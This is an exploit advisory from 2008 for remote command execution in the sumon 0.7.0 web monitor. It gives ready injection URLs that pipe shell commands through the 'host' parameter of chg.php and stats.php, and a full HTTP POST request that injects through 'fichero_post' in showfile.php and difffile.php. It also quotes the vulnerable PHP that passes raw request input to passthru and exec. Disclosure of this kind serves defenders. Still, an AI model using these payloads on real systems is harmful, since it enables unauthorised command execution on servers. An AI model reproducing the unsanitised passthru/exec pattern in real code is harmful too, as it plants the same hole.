SUMON 0.7.0 Command Execution

` :::::::-. ... ::::::. :::.  
;;, `';, ;; ;;;`;;;;, `;;;  
`[[ [[[[' [[[ [[[[[. '[[  
$$, $$$$ $$$ $$$ "Y$c$$  
888_,o8P'88 .d888 888 Y88  
MMMMP"` "YmmMMMM"" MMM YM  
  
[ Discovered by dun \ dun[at]strcpy.pl ]  
  
################################################################  
# [ sumon <= 0.7.0 ] Remote Command Execution Vulnerability #  
################################################################  
#  
# Script: Simple Unix MONitor (sumon)  
#  
# Script Site: http://sumon.sourceforge.net/  
# Download: http://sourceforge.net/projects/sumon  
#  
# Vuln: http://site.com/sumon-0.7.0/chg.php?host=|id>/tmp/dupa;  
#   
# Bug: ./sumon-0.7.0/server/www/chg.php (lines: 32-25, 99)  
#  
# ...  
# if (array_key_exists("host",$_GET))  
# {  
# $host = $_GET["host"];  
# }  
# ...  
# passthru("${bindir}/chmgmtinfobuilder.pl --html --chgonly --node=$host --days=$days");  
# ...   
#  
# Vuln: http://site.com/sumon-0.7.0/stats.php?host=|id>/tmp/dupa;  
#   
# Bug: ./sumon-0.7.0/server/www/stats.php (lines: 23-25, 294)  
#  
# ...  
# if (array_key_exists("host",$_GET))  
# {  
# $host = $_GET["host"];  
# ...   
# exec ("$graphstats -h $host -l $graphic -g GRAPH:".$time.":".$timefactor." ".$timestampstring." ".$endstring." > /dev/null 2>&1");  
# ...   
#  
# Vuln: http://site.com/sumon-0.7.0/showfile.php   
# http://site.com/sumon-0.7.0/difffile.php  
#  
# POST /sumon-0.7.0/showfile.php HTTP/1.1  
#   
# Host: site.com  
# User-Agent: Mozilla/5.0  
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
# Accept-Language: pl,en-us;q=0.7,en;q=0.3  
# Accept-Encoding: gzip,deflate  
# Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7  
# Keep-Alive: 300  
# Connection: keep-alive  
# Content-Type: application/x-www-form-urlencoded  
# Content-Length: 27  
#   
# fichero_post=|id>/tmp/dupa;  
#  
# Bug: ./sumon-0.7.0/server/www/showfile.php (lines: 36)  
# ./sumon-0.7.0/server/www/difffile.php (lines: 36)  
# ...  
# passthru("${bindir}/showfile.pl ${datadir}/$_POST[fichero_post]");  
# ...   
#  
#  
###############################################  
# Greetz: D3m0n_DE * str0ke * and otherz..  
###############################################  
  
[ dun / 2008 ]  
  
*******************************************************************************************  
  
`